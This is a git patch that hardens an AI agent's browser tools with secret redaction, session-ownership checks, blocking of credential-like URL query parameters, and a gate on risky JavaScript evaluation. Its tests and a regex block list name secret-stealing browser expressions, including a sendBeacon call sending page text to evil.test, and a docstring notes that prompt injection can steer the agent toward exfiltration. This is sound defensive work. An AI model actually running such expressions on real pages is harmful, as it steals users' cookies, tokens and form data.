From a0beb52a5063e088582f7d748d9c113f081ae5d9 Mon Sep 17 00:00:00 2001 From: yongjin Date: Sat, 20 Jun 2026 22:20:13 +0900 Subject: [PATCH] fix(browser): harden browser tool safety boundaries Add policy gates and output redaction for browser/CDP surfaces, strengthen session ownership tracking, and block credential-like query parameters before third-party browser/web backends receive URLs. Inspired by the agbrowse review: keep local browser magic-link flows possible while preventing cloud reader/browser escalation from receiving opaque token, code, signature, or key query parameters. --- hermes_cli/config.py | 1 + tests/tools/test_browser_cdp_tool.py | 15 ++ tests/tools/test_browser_console.py | 112 ++++++++++++ tests/tools/test_browser_hybrid_routing.py | 52 +++++- tests/tools/test_browser_secret_exfil.py | 81 +++++++++ tools/browser_cdp_tool.py | 17 +- tools/browser_supervisor.py | 13 +- tools/browser_tool.py | 194 ++++++++++++++++++--- tools/url_safety.py | 58 +++++- tools/web_tools.py | 13 +- 10 files changed, 522 insertions(+), 34 deletions(-) diff --git a/hermes_cli/config.py b/hermes_cli/config.py index 92ec87fbd..9257ca6f9 100644 --- a/hermes_cli/config.py +++ b/hermes_cli/config.py @@ -1194,6 +1194,7 @@ DEFAULT_CONFIG = { "engine": "auto", "auto_local_for_private_urls": True, # When a cloud provider is set, auto-spawn local Chromium for LAN/localhost URLs instead of sending them to the cloud "cdp_url": "", # Optional persistent CDP endpoint for attaching to an existing Chromium/Chrome + "allow_unsafe_evaluate": False, # Allow browser_console(expression=...) to use sensitive JS primitives (cookies/storage/clipboard/network/form values) # CDP supervisor — dialog + frame detection via a persistent WebSocket. # Active only when a CDP-capable backend is attached (Browserbase or # local Chrome via /browser connect). See diff --git a/tests/tools/test_browser_cdp_tool.py b/tests/tools/test_browser_cdp_tool.py index a9749685b..205ca2ef9 100644 --- a/tests/tools/test_browser_cdp_tool.py +++ b/tests/tools/test_browser_cdp_tool.py @@ -228,6 +228,21 @@ def test_browser_level_success(cdp_server): assert "sessionId" not in calls[0] +def test_browser_level_redacts_secret_result(cdp_server): + fake_key = "sk-" + "CDPSECRETRESULT1234567890" + cdp_server.on( + "Runtime.evaluate", + lambda params, sid: {"result": {"type": "string", "value": fake_key}}, + ) + + result = json.loads(browser_cdp_tool.browser_cdp(method="Runtime.evaluate")) + + assert result["success"] is True + serialized = json.dumps(result) + assert "CDPSECRETRESULT" not in serialized + assert result["result"]["result"]["value"].startswith("sk-") + + def test_empty_params_sends_empty_object(cdp_server): cdp_server.on("Browser.getVersion", lambda params, sid: {"product": "Mock/1.0"}) json.loads(browser_cdp_tool.browser_cdp(method="Browser.getVersion")) diff --git a/tests/tools/test_browser_console.py b/tests/tools/test_browser_console.py index 6b49087a6..c1a14f1e3 100644 --- a/tests/tools/test_browser_console.py +++ b/tests/tools/test_browser_console.py @@ -95,6 +95,118 @@ class TestBrowserConsole: assert result["total_messages"] == 0 assert result["total_errors"] == 0 + def test_redacts_secrets_from_console_messages_and_errors(self): + from tools.browser_tool import browser_console + + fake_key = "sk-" + "BROWSERCONSOLESECRET1234567890" + console_response = { + "success": True, + "data": {"messages": [{"text": f"token={fake_key}", "type": "log"}]}, + } + errors_response = { + "success": True, + "data": {"errors": [{"message": f"Uncaught auth {fake_key}"}]}, + } + with patch("tools.browser_tool._run_browser_command") as mock_cmd: + mock_cmd.side_effect = [console_response, errors_response] + result = json.loads(browser_console(task_id="test")) + + serialized = json.dumps(result) + assert "BROWSERCONSOLESECRET" not in serialized + assert "sk-" in result["console_messages"][0]["text"] + assert "..." in result["console_messages"][0]["text"] + + def test_redacts_secrets_from_eval_result(self): + from tools.browser_tool import _browser_eval + + fake_key = "ghp_" + "BROWSEREVALSECRET1234567890" + with patch("tools.browser_tool._last_session_key", return_value="test"), \ + patch("tools.browser_tool._is_camofox_mode", return_value=False), \ + patch("tools.browser_tool._run_browser_command", return_value={"success": True, "data": {"result": fake_key}}): + result = json.loads(_browser_eval("document.body.innerText", task_id="test")) + + assert result["success"] is True + assert "BROWSEREVALSECRET" not in json.dumps(result) + assert result["result"].startswith("ghp_") + + def test_redacts_secrets_from_snapshot_output(self): + from tools.browser_tool import browser_snapshot + + fake_key = "xai-" + "BROWSERSNAPSHOTSECRET12345678901234567890" + snapshot_response = { + "success": True, + "data": {"snapshot": f"text: key {fake_key}", "refs": {}}, + } + with patch("tools.browser_tool._last_session_key", return_value="test"), \ + patch("tools.browser_tool._is_camofox_mode", return_value=False), \ + patch("tools.browser_tool._run_browser_command", return_value=snapshot_response): + result = json.loads(browser_snapshot(task_id="test")) + + assert result["success"] is True + assert "BROWSERSNAPSHOTSECRET" not in result["snapshot"] + assert "xai-" in result["snapshot"] + + def test_expression_allows_harmless_dom_inspection(self): + from tools.browser_tool import browser_console + + with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \ + patch("tools.browser_tool._browser_eval", return_value=json.dumps({"success": True, "result": "Example"})) as mock_eval: + result = json.loads(browser_console(expression="document.title", task_id="test")) + + assert result == {"success": True, "result": "Example"} + mock_eval.assert_called_once_with("document.title", "test") + + def test_expression_blocks_cookie_access_before_eval(self): + from tools.browser_tool import browser_console + + with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \ + patch("tools.browser_tool._browser_eval") as mock_eval: + result = json.loads(browser_console(expression="document.cookie", task_id="test")) + + assert result["success"] is False + assert "Blocked" in result["error"] + assert "document.cookie" in result["error"] + mock_eval.assert_not_called() + + def test_expression_blocks_storage_and_network_access_before_eval(self): + from tools.browser_tool import browser_console + + risky_expressions = [ + "localStorage.getItem('token')", + "sessionStorage.token", + "indexedDB.databases()", + "navigator.clipboard.readText()", + "fetch('/api/me')", + "navigator.sendBeacon('https://evil.test', document.body.innerText)", + "document.querySelector('input[type=password]').value", + ] + with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \ + patch("tools.browser_tool._browser_eval") as mock_eval: + for expr in risky_expressions: + result = json.loads(browser_console(expression=expr, task_id="test")) + assert result["success"] is False, expr + assert "Blocked" in result["error"], expr + + mock_eval.assert_not_called() + + def test_expression_config_opt_in_allows_risky_eval(self): + from tools.browser_tool import browser_console + + with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=True), \ + patch("tools.browser_tool._browser_eval", return_value=json.dumps({"success": True, "result": "cookie=value"})) as mock_eval: + result = json.loads(browser_console(expression="document.cookie", task_id="test")) + + assert result == {"success": True, "result": "cookie=value"} + mock_eval.assert_called_once_with("document.cookie", "test") + + def test_allow_unsafe_evaluate_reads_browser_config(self): + from tools.browser_tool import _allow_unsafe_browser_evaluate + + with patch("hermes_cli.config.read_raw_config", return_value={"browser": {"allow_unsafe_evaluate": "true"}}): + assert _allow_unsafe_browser_evaluate() is True + with patch("hermes_cli.config.read_raw_config", return_value={"browser": {"allow_unsafe_evaluate": False}}): + assert _allow_unsafe_browser_evaluate() is False + # ── browser_console schema ─────────────────────────────────────────── diff --git a/tests/tools/test_browser_hybrid_routing.py b/tests/tools/test_browser_hybrid_routing.py index 934b275d5..667ec22a7 100644 --- a/tests/tools/test_browser_hybrid_routing.py +++ b/tests/tools/test_browser_hybrid_routing.py @@ -129,11 +129,54 @@ class TestSessionKeyHelpers: "_last_active_session_key", {"default": "default::local", "task-42": "task-42"}, ) + monkeypatch.setattr( + browser_tool, + "_active_sessions", + {"default::local": {"session_name": "local_sess"}}, + ) assert browser_tool._last_session_key("default") == "default::local" assert browser_tool._last_session_key("task-42") == "task-42" # Unknown task_id still falls back assert browser_tool._last_session_key("other") == "other" + def test_last_session_key_drops_stale_sidecar_binding(self, monkeypatch): + """A cleaned last-active sidecar must not be silently resurrected.""" + last_active = {"default": "default::local"} + monkeypatch.setattr(browser_tool, "_last_active_session_key", last_active) + monkeypatch.setattr( + browser_tool, + "_active_sessions", + {"default": {"session_name": "cloud_sess"}}, + ) + + assert browser_tool._last_session_key("default") == "default" + assert last_active == {} + + def test_last_session_key_keeps_bare_task_binding_without_active_session(self, monkeypatch): + """Bare task fallback preserves historical lazy-create behavior.""" + monkeypatch.setattr(browser_tool, "_last_active_session_key", {"default": "default"}) + monkeypatch.setattr(browser_tool, "_active_sessions", {}) + assert browser_tool._last_session_key("default") == "default" + + def test_last_session_key_drops_mismatched_owner_metadata(self, monkeypatch): + """Explicit ownership metadata prevents retargeting to another task's session.""" + last_active = {"default": "other-task::local"} + monkeypatch.setattr(browser_tool, "_last_active_session_key", last_active) + monkeypatch.setattr( + browser_tool, + "_active_sessions", + { + "other-task::local": { + "session_name": "local_sess", + "session_key": "other-task::local", + "owner_task_id": "other-task", + } + }, + ) + + assert browser_tool._last_session_key("default") == "default" + assert last_active == {} + class TestHybridRoutingSessionCreation: """_get_session_info must force a local session when the key carries ``::local``.""" @@ -155,6 +198,8 @@ class TestHybridRoutingSessionCreation: assert session["bb_session_id"] is None assert session["cdp_url"] is None assert session["features"]["local"] is True + assert session["session_key"] == "default::local" + assert session["owner_task_id"] == "default" def test_bare_task_id_with_cloud_provider_uses_cloud(self, monkeypatch): """A bare task_id with cloud provider configured hits the cloud path.""" @@ -172,6 +217,8 @@ class TestHybridRoutingSessionCreation: assert provider.create_session.call_count == 1 assert session["bb_session_id"] == "bb_123" + assert session["session_key"] == "default" + assert session["owner_task_id"] == "default" class TestCleanupHybridSessions: @@ -244,5 +291,6 @@ class TestCleanupHybridSessions: browser_tool.cleanup_browser("default::local") assert reaped == ["default::local"] - # Last-active pointer NOT dropped (primary task is still alive) - assert browser_tool._last_active_session_key.get("default") == "default::local" + # The cleaned sidecar must not remain the recorded owner; otherwise a + # later click/snapshot could resurrect it instead of using the primary. + assert "default" not in browser_tool._last_active_session_key diff --git a/tests/tools/test_browser_secret_exfil.py b/tests/tools/test_browser_secret_exfil.py index 2ccc9193b..e0cab6235 100644 --- a/tests/tools/test_browser_secret_exfil.py +++ b/tests/tools/test_browser_secret_exfil.py @@ -28,6 +28,34 @@ class TestBrowserSecretExfil: parsed = json.loads(result) assert parsed["success"] is False + def test_cloud_blocks_opaque_sensitive_query_param(self): + """Cloud browser providers must not receive opaque token query params.""" + from tools.browser_tool import browser_navigate + + with patch("tools.browser_tool._is_local_backend", return_value=False), \ + patch("tools.browser_tool._navigation_session_key", return_value="default"), \ + patch("tools.browser_tool._run_browser_command") as mock_run: + result = browser_navigate("https://example.com/callback?token=opaque-oauth-code") + + parsed = json.loads(result) + assert parsed["success"] is False + assert "credential-like query parameter" in parsed["error"] + assert "token" in parsed["error"] + mock_run.assert_not_called() + + def test_local_browser_allows_opaque_sensitive_query_param(self): + """Local browser/CDP sessions may navigate magic-link style URLs.""" + from tools.browser_tool import browser_navigate + + mock_result = {"success": True, "data": {"title": "ok", "url": "https://example.com/callback?token=opaque-oauth-code"}} + with patch("tools.browser_tool._run_browser_command", return_value=mock_result), \ + patch("tools.browser_tool._get_session_info", return_value={"_first_nav": False}), \ + patch("tools.browser_tool._is_local_backend", return_value=True): + result = browser_navigate("https://example.com/callback?token=opaque-oauth-code") + + parsed = json.loads(result) + assert parsed["success"] is True + def test_allows_normal_url(self): """Normal URLs pass the secret check (may fail for other reasons).""" from tools.browser_tool import browser_navigate @@ -75,6 +103,20 @@ class TestWebExtractSecretExfil: assert parsed["success"] is False assert "Blocked" in parsed["error"] + @pytest.mark.asyncio + async def test_blocks_opaque_sensitive_query_param(self): + from tools.web_tools import web_extract_tool + + result = await web_extract_tool( + urls=["https://example.com/callback?code=opaque-oauth-code"], + use_llm_processing=False, + ) + + parsed = json.loads(result) + assert parsed["success"] is False + assert "credential-like query parameter" in parsed["error"] + assert "code" in parsed["error"] + @pytest.mark.asyncio async def test_allows_normal_url(self): from tools.web_tools import web_extract_tool @@ -258,3 +300,42 @@ class TestCamofoxAnnotationRedaction: assert "ANTHROPICFAKEKEY123456789" not in result assert "OPENAIFAKEKEY99887766" not in result assert "PATH=/usr/local/bin" in result + + +class TestBrowserSupervisorRedaction: + """Verify supervisor dialog snapshots redact page-originated secrets.""" + + def test_pending_and_recent_dialog_messages_redacted(self): + from tools.browser_supervisor import DialogRecord, PendingDialog, SupervisorSnapshot + + fake_key = "sk-" + "SUPERVISORDIALOGSECRET1234567890" + snapshot = SupervisorSnapshot( + pending_dialogs=(PendingDialog( + id="d1", + type="prompt", + message=f"Enter API key {fake_key}", + default_prompt=fake_key, + opened_at=1.0, + cdp_session_id="session-1", + ),), + recent_dialogs=(DialogRecord( + id="d2", + type="alert", + message=f"Recent key {fake_key}", + opened_at=1.0, + closed_at=2.0, + closed_by="agent", + ),), + frame_tree={"top": {"frame_id": "f1", "url": "about:blank", "origin": "null", "is_oopif": False}}, + console_errors=(), + active=True, + cdp_url="ws://example.invalid/devtools/browser/mock", + task_id="test", + ) + + result = snapshot.to_dict() + serialized = str(result) + assert "SUPERVISORDIALOGSECRET" not in serialized + assert result["pending_dialogs"][0]["message"].startswith("Enter API key sk-") + assert result["pending_dialogs"][0]["default_prompt"].startswith("sk-") + assert result["recent_dialogs"][0]["message"].startswith("Recent key sk-") diff --git a/tools/browser_cdp_tool.py b/tools/browser_cdp_tool.py index da20e3011..5d036c5aa 100644 --- a/tools/browser_cdp_tool.py +++ b/tools/browser_cdp_tool.py @@ -28,6 +28,21 @@ logger = logging.getLogger(__name__) CDP_DOCS_URL = "https://chromedevtools.github.io/devtools-protocol/" + +def _redact_cdp_output(value: Any) -> Any: + """Redact browser-originated CDP result data before returning it.""" + from agent.redact import redact_sensitive_text + + if isinstance(value, str): + return redact_sensitive_text(value, force=True) + if isinstance(value, list): + return [_redact_cdp_output(item) for item in value] + if isinstance(value, tuple): + return tuple(_redact_cdp_output(item) for item in value) + if isinstance(value, dict): + return {key: _redact_cdp_output(item) for key, item in value.items()} + return value + # ``websockets`` is a direct hermes-agent dependency because the browser CDP # supervisor and browser_dialog tool import it during tool discovery. Wrap the # import so a clean error surfaces if an environment is stale or incomplete. @@ -412,7 +427,7 @@ def browser_cdp( payload: Dict[str, Any] = { "success": True, "method": method, - "result": result, + "result": _redact_cdp_output(result), } if target_id: payload["target_id"] = target_id diff --git a/tools/browser_supervisor.py b/tools/browser_supervisor.py index bea4ef7a0..ebd1a8d39 100644 --- a/tools/browser_supervisor.py +++ b/tools/browser_supervisor.py @@ -53,6 +53,13 @@ def _redact_cdp_error_text(exc: object) -> str: return "" +def _redact_supervisor_text(value: str) -> str: + """Redact page-originated text before exposing supervisor snapshots.""" + from agent.redact import redact_sensitive_text + + return redact_sensitive_text(value, force=True) + + # ── Config defaults ─────────────────────────────────────────────────────────── DIALOG_POLICY_MUST_RESPOND = "must_respond" @@ -166,8 +173,8 @@ class PendingDialog: return { "id": self.id, "type": self.type, - "message": self.message, - "default_prompt": self.default_prompt, + "message": _redact_supervisor_text(self.message), + "default_prompt": _redact_supervisor_text(self.default_prompt), "opened_at": self.opened_at, "frame_id": self.frame_id, } @@ -194,7 +201,7 @@ class DialogRecord: return { "id": self.id, "type": self.type, - "message": self.message, + "message": _redact_supervisor_text(self.message), "opened_at": self.opened_at, "closed_at": self.closed_at, "closed_by": self.closed_by, diff --git a/tools/browser_tool.py b/tools/browser_tool.py index f74e1f4e5..bac3043f7 100644 --- a/tools/browser_tool.py +++ b/tools/browser_tool.py @@ -114,11 +114,13 @@ try: is_safe_url as _is_safe_url, is_always_blocked_url as _is_always_blocked_url, normalize_url_for_request as _normalize_url_for_request, + sensitive_query_param_name as _sensitive_query_param_name, ) except Exception: _is_safe_url = lambda url: False # noqa: E731 — fail-closed: block all if safety module unavailable _is_always_blocked_url = lambda url: True # noqa: E731 — fail-closed on the floor too _normalize_url_for_request = lambda url: url # noqa: E731 — best-effort fallback + _sensitive_query_param_name = lambda url: None # noqa: E731 — best-effort fallback # Browser-provider ABC + registry — PR #25214 moved the per-vendor providers # (Browserbase / Browser Use / Firecrawl) out of ``tools/browser_providers/`` # and into ``plugins/browser//``. The dispatcher consults the @@ -1272,17 +1274,56 @@ def _is_local_sidecar_key(session_key: str) -> bool: return session_key.endswith(_LOCAL_SUFFIX) -def _last_session_key(task_id: str) -> str: - """Return the session key to use for a non-nav browser tool call. +def _bare_task_id_for_session_key(session_key: str) -> str: + """Return the owning bare task id for an opaque browser session key.""" + if _is_local_sidecar_key(session_key): + return session_key[: -len(_LOCAL_SUFFIX)] + return session_key - If a previous ``browser_navigate`` on this task_id set a last-active key, - use it so snapshot/click/fill/etc. hit the same session. Otherwise fall - back to the bare task_id (matches original behavior for tasks that never - triggered hybrid routing). + +def _session_info_owned_by_task(session_info: Dict[str, Any], task_id: str, session_key: str) -> bool: + """Return whether ``session_info`` still belongs to ``task_id``/``session_key``. + + Sessions created by current code carry explicit ownership metadata. Treat + older in-memory entries without those fields as valid for hot-reload/test + compatibility, but reject any explicit mismatch before a non-navigation + tool can act on the wrong tab/session. + """ + owner = session_info.get("owner_task_id") + key = session_info.get("session_key") + if owner is not None and owner != task_id: + return False + if key is not None and key != session_key: + return False + return True + + +def _last_session_key(task_id: str) -> str: + """Return the live session key to use for a non-nav browser tool call. + + ``browser_navigate`` records which concrete session key served a task's + most recent successful navigation. Non-navigation tools must reuse that key + so click/fill/snapshot land in the same browser. If the recorded owner was + later cleaned up or ownership metadata no longer matches, fail closed by + dropping the stale binding instead of silently recreating or mutating the + wrong browser. """ if task_id is None: task_id = "default" - return _last_active_session_key.get(task_id, task_id) + recorded_key = _last_active_session_key.get(task_id) + if not recorded_key: + return task_id + with _cleanup_lock: + session_info = _active_sessions.get(recorded_key) + if session_info and _session_info_owned_by_task(session_info, task_id, recorded_key): + return recorded_key + _last_active_session_key.pop(task_id, None) + logger.debug( + "browser session ownership: dropping stale/mismatched last-active binding %s -> %s", + task_id, + recorded_key, + ) + return task_id def _allow_private_urls() -> bool: @@ -1336,7 +1377,7 @@ def _socket_safe_tmpdir() -> str: # cleanup_browser code paths — the key is opaque to those internals. # # Stores: session_name (always), bb_session_id + cdp_url (cloud mode only) -_active_sessions: Dict[str, Dict[str, str]] = {} # session_key -> {session_name, ...} +_active_sessions: Dict[str, Dict[str, Any]] = {} # session_key -> {session_name, ...} _recording_sessions: set = set() # session_keys with active recordings # Tracks the most recent session_key used per task_id. Set by browser_navigate() @@ -1942,7 +1983,7 @@ def _create_cdp_session(task_id: str, cdp_url: str) -> Dict[str, str]: } -def _get_session_info(task_id: Optional[str] = None) -> Dict[str, str]: +def _get_session_info(task_id: Optional[str] = None) -> Dict[str, Any]: """ Get or create session info for the given session key. @@ -2029,6 +2070,9 @@ def _get_session_info(task_id: Optional[str] = None) -> Dict[str, str]: # orphan cloud sessions. if task_id in _active_sessions: return _active_sessions[task_id] + session_info = dict(session_info) + session_info.setdefault("session_key", task_id) + session_info.setdefault("owner_task_id", _bare_task_id_for_session_key(task_id)) _active_sessions[task_id] = session_info # Lazy-start the CDP supervisor now that the session exists (if the @@ -2608,6 +2652,27 @@ def _truncate_snapshot(snapshot_text: str, max_chars: int = 8000) -> str: return '\n'.join(result) +def _redact_browser_output(value: Any) -> Any: + """Redact secrets from browser-originated data before returning to the model. + + Browser snapshots, console messages, JS exceptions, and eval results can + contain page-rendered API keys, cookies, bearer tokens, or pasted secrets. + Tool output is a model boundary, so force redaction here even if global log + redaction is disabled for debugging. + """ + from agent.redact import redact_sensitive_text + + if isinstance(value, str): + return redact_sensitive_text(value, force=True) + if isinstance(value, list): + return [_redact_browser_output(item) for item in value] + if isinstance(value, tuple): + return tuple(_redact_browser_output(item) for item in value) + if isinstance(value, dict): + return {key: _redact_browser_output(item) for key, item in value.items()} + return value + + # ============================================================================ # Browser Tool Functions # ============================================================================ @@ -2657,6 +2722,18 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str: nav_session_key = _navigation_session_key(effective_task_id, url) auto_local_this_nav = _is_local_sidecar_key(nav_session_key) + sensitive_query_key = _sensitive_query_param_name(url) + if sensitive_query_key and not _is_local_backend() and not auto_local_this_nav: + return json.dumps({ + "success": False, + "error": ( + "Blocked: URL contains a credential-like query parameter " + f"({sensitive_query_key}). Cloud browser backends are third-party " + "readers; use a local browser/CDP session or remove the sensitive " + "query parameter before navigating." + ), + }) + # Always-blocked floor: cloud metadata / IMDS endpoints are denied # regardless of backend, hybrid routing, or allow_private_urls. # There's no legitimate agent use case for navigating to @@ -2720,11 +2797,6 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str: timeout=_get_open_command_timeout(first_open=is_first_nav), ) - # Remember which session served this nav so snapshot/click/fill/... - # on the same task_id hit it (critical when hybrid routing has both a - # cloud session and a local sidecar alive concurrently). - _last_active_session_key[effective_task_id] = nav_session_key - if result.get("success"): data = result.get("data", {}) title = data.get("title", "") @@ -2769,6 +2841,10 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str: "url": final_url, "title": title } + # Remember only a successful, non-blocked navigation as the task owner. + # Failed opens and blocked redirects must not retarget follow-up clicks + # or snapshots to a newly-created but irrelevant session. + _last_active_session_key[effective_task_id] = nav_session_key _copy_fallback_warning(response, result) # Detect common "blocked" page patterns from title/url @@ -2810,7 +2886,7 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str: refs = snap_data.get("refs", {}) if len(snapshot_text) > SNAPSHOT_SUMMARIZE_THRESHOLD: snapshot_text = _truncate_snapshot(snapshot_text) - response["snapshot"] = snapshot_text + response["snapshot"] = _redact_browser_output(snapshot_text) response["element_count"] = len(refs) if refs else 0 if snap_result.get("fallback_warning") and not response.get("fallback_warning"): _copy_fallback_warning(response, snap_result) @@ -2898,7 +2974,7 @@ def browser_snapshot( response = { "success": True, - "snapshot": snapshot_text, + "snapshot": _redact_browser_output(snapshot_text), "element_count": len(refs) if refs else 0 } _copy_fallback_warning(response, result) @@ -2912,7 +2988,7 @@ def browser_snapshot( if _supervisor is not None: _sv_snap = _supervisor.snapshot() if _sv_snap.active: - response.update(_sv_snap.to_dict()) + response.update(_redact_browser_output(_sv_snap.to_dict())) except Exception as _sv_exc: logger.debug("supervisor snapshot merge failed: %s", _sv_exc) @@ -3173,6 +3249,9 @@ def browser_console(clear: bool = False, expression: Optional[str] = None, task_ """ # --- JS evaluation mode --- if expression is not None: + policy_error = _enforce_browser_eval_policy(expression) + if policy_error: + return json.dumps({"success": False, "error": policy_error}, ensure_ascii=False) return _browser_eval(expression, task_id) # --- Console output mode (original behaviour) --- @@ -3193,7 +3272,7 @@ def browser_console(clear: bool = False, expression: Optional[str] = None, task_ for msg in console_result.get("data", {}).get("messages", []): messages.append({ "type": msg.get("type", "log"), - "text": msg.get("text", ""), + "text": _redact_browser_output(msg.get("text", "")), "source": "console", }) @@ -3201,7 +3280,7 @@ def browser_console(clear: bool = False, expression: Optional[str] = None, task_ if errors_result.get("success"): for err in errors_result.get("data", {}).get("errors", []): errors.append({ - "message": err.get("message", ""), + "message": _redact_browser_output(err.get("message", "")), "source": "exception", }) @@ -3286,6 +3365,64 @@ def _current_page_private_url(effective_task_id: str) -> Optional[str]: return None +_RISKY_BROWSER_EVAL_PATTERNS: tuple[tuple[re.Pattern[str], str], ...] = ( + (re.compile(r"\bdocument\s*\.\s*cookie\b", re.I), "document.cookie"), + (re.compile(r"\b(?:localStorage|sessionStorage)\b", re.I), "web storage"), + (re.compile(r"\bindexedDB\b", re.I), "IndexedDB"), + (re.compile(r"\bcaches\s*\.\s*(?:open|match|keys)\b", re.I), "Cache Storage"), + (re.compile(r"\bnavigator\s*\.\s*(?:clipboard|credentials|serviceWorker)\b", re.I), "navigator sensitive API"), + (re.compile(r"\b(?:fetch|XMLHttpRequest|WebSocket|EventSource)\s*\(", re.I), "network request"), + (re.compile(r"\bnavigator\s*\.\s*sendBeacon\s*\(", re.I), "network beacon"), + (re.compile(r"\bdocument\s*\.\s*forms\b.*\bvalue\b", re.I | re.S), "form value extraction"), + (re.compile(r"\bquerySelector(?:All)?\s*\([^)]*(?:input|textarea|password)[^)]*\).*\bvalue\b", re.I | re.S), "form value extraction"), +) + + +def _allow_unsafe_browser_evaluate() -> bool: + """Return whether sensitive browser JS evaluation is explicitly allowed. + + ``browser_console(expression=...)`` is useful for read-only DOM inspection, + but a malicious page or prompt injection can try to steer the agent into + evaluating code that reads cookies/storage/form values or performs network + exfiltration. Keep harmless expressions (``document.title`` etc.) working, + while requiring a config opt-in for the dangerous primitives. + """ + try: + from hermes_cli.config import read_raw_config + + cfg = read_raw_config() + return is_truthy_value(cfg_get(cfg, "browser", "allow_unsafe_evaluate"), default=False) + except Exception as e: + logger.debug("Could not read browser.allow_unsafe_evaluate from config: %s", e) + return False + + +def _risky_browser_eval_reason(expression: str) -> Optional[str]: + """Return a human-readable reason if a JS expression uses risky primitives.""" + if not expression: + return None + for pattern, reason in _RISKY_BROWSER_EVAL_PATTERNS: + if pattern.search(expression): + return reason + return None + + +def _enforce_browser_eval_policy(expression: str) -> Optional[str]: + """Fail closed for sensitive browser JS evaluation unless config opts in.""" + if _allow_unsafe_browser_evaluate(): + return None + reason = _risky_browser_eval_reason(expression) + if not reason: + return None + return ( + "Blocked: browser_console(expression=...) tried to use sensitive browser " + f"JavaScript primitive ({reason}). Use browser_snapshot/browser_get_images/" + "browser_console without expression for normal inspection, or set " + "browser.allow_unsafe_evaluate: true in config.yaml only for trusted pages " + "when this access is explicitly required." + ) + + def _browser_eval(expression: str, task_id: Optional[str] = None) -> str: """Evaluate a JavaScript expression in the page context and return the result.""" if _is_camofox_mode(): @@ -3351,7 +3488,7 @@ def _browser_eval(expression: str, task_id: Optional[str] = None) -> str: }, ensure_ascii=False) response = { "success": True, - "result": parsed, + "result": _redact_browser_output(parsed), "result_type": type(parsed).__name__, "method": "cdp_supervisor", } @@ -3421,7 +3558,7 @@ def _browser_eval(expression: str, task_id: Optional[str] = None) -> str: response = { "success": True, - "result": parsed, + "result": _redact_browser_output(parsed), "result_type": type(parsed).__name__, } # Post-eval page-URL recheck: if this (or a prior) eval navigated the page @@ -3459,7 +3596,7 @@ def _camofox_eval(expression: str, task_id: Optional[str] = None) -> str: return json.dumps({ "success": True, - "result": parsed, + "result": _redact_browser_output(parsed), "result_type": type(parsed).__name__, }, ensure_ascii=False, default=str) except Exception as e: @@ -3577,7 +3714,7 @@ def browser_get_images(task_id: Optional[str] = None) -> str: response = { "success": True, - "images": images, + "images": _redact_browser_output(images), "count": len(images) } return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False) @@ -3983,9 +4120,14 @@ def cleanup_browser(task_id: Optional[str] = None) -> None: for session_key in session_keys: _cleanup_single_browser_session(session_key) - # Drop the last-active pointer only when the bare task is being cleaned - # (i.e. not when we're only reaping a sidecar mid-task). - if not _is_local_sidecar_key(task_id): + # Drop stale last-active ownership. Cleaning a bare task drops its binding; + # cleaning a sidecar drops the binding only if that sidecar was still the + # recorded owner. This prevents a later click/snapshot from resurrecting a + # cleaned sidecar on about:blank while preserving a primary-session binding. + if _is_local_sidecar_key(task_id): + if _last_active_session_key.get(bare_task_id) == task_id: + _last_active_session_key.pop(bare_task_id, None) + else: _last_active_session_key.pop(bare_task_id, None) diff --git a/tools/url_safety.py b/tools/url_safety.py index 953bae19d..d1995526e 100644 --- a/tools/url_safety.py +++ b/tools/url_safety.py @@ -29,7 +29,7 @@ import os import socket import asyncio from typing import Any, Optional -from urllib.parse import quote, urljoin, urlparse, urlsplit, urlunsplit +from urllib.parse import parse_qsl, quote, unquote, urljoin, urlparse, urlsplit, urlunsplit from utils import is_truthy_value @@ -76,6 +76,62 @@ def normalize_url_for_request(url: str) -> str: return urlunsplit((parsed.scheme, netloc, path, query, fragment)) + +_SENSITIVE_QUERY_PARAM_NAMES = frozenset({ + "access_token", + "api_key", + "apikey", + "auth", + "auth_token", + "authorization", + "awsaccesskeyid", + "client_secret", + "code", + "credential", + "credentials", + "key", + "jwt", + "password", + "passwd", + "secret", + "session", + "session_id", + "sig", + "signature", + "token", + "x_amz_security_token", + "x_amz_signature", + "x-amz-security-token", + "x-amz-signature", +}) + + +def sensitive_query_param_name(url: str) -> Optional[str]: + """Return the first sensitive query parameter name in ``url``, if any. + + Used before handing URLs to third-party fetch/browser backends. Prefix-based + token redaction catches known credential shapes; this catches opaque magic + links, OAuth codes, signed URL signatures, and custom ``?token=...`` values + that do not have a recognizable vendor prefix. + """ + if not isinstance(url, str) or "?" not in url: + return None + try: + parsed = urlsplit(url.strip()) + except ValueError: + return None + if parsed.scheme.lower() not in {"http", "https"} or not parsed.query: + return None + for key, value in parse_qsl(parsed.query, keep_blank_values=True): + if value and unquote(key).lower() in _SENSITIVE_QUERY_PARAM_NAMES: + return key + return None + + +def has_sensitive_query_params(url: str) -> bool: + """Return True when ``url`` carries likely credential-bearing query params.""" + return sensitive_query_param_name(url) is not None + # Hostnames that should always be blocked regardless of IP resolution # or any config toggle. These are cloud metadata endpoints that an # attacker could use to steal instance credentials. diff --git a/tools/web_tools.py b/tools/web_tools.py index e5b83c77a..e66d0ee0f 100644 --- a/tools/web_tools.py +++ b/tools/web_tools.py @@ -97,7 +97,7 @@ from tools.tool_backend_helpers import ( # noqa: F401 nous_tool_gateway_unavailable_message, prefers_gateway, ) -from tools.url_safety import async_is_safe_url, normalize_url_for_request +from tools.url_safety import async_is_safe_url, normalize_url_for_request, sensitive_query_param_name import sys logger = logging.getLogger(__name__) @@ -659,6 +659,17 @@ async def web_extract_tool( "error": "Blocked: URL contains what appears to be an API key or token. " "Secrets must not be sent in URLs.", }) + sensitive_query_key = sensitive_query_param_name(normalized_url) + if sensitive_query_key: + return json.dumps({ + "success": False, + "error": ( + "Blocked: URL contains a credential-like query parameter " + f"({sensitive_query_key}). Web extract backends are third-party " + "readers; remove the sensitive query parameter or use a local " + "browser session when this access is explicitly required." + ), + }) normalized_urls.append(normalized_url) debug_call_data = {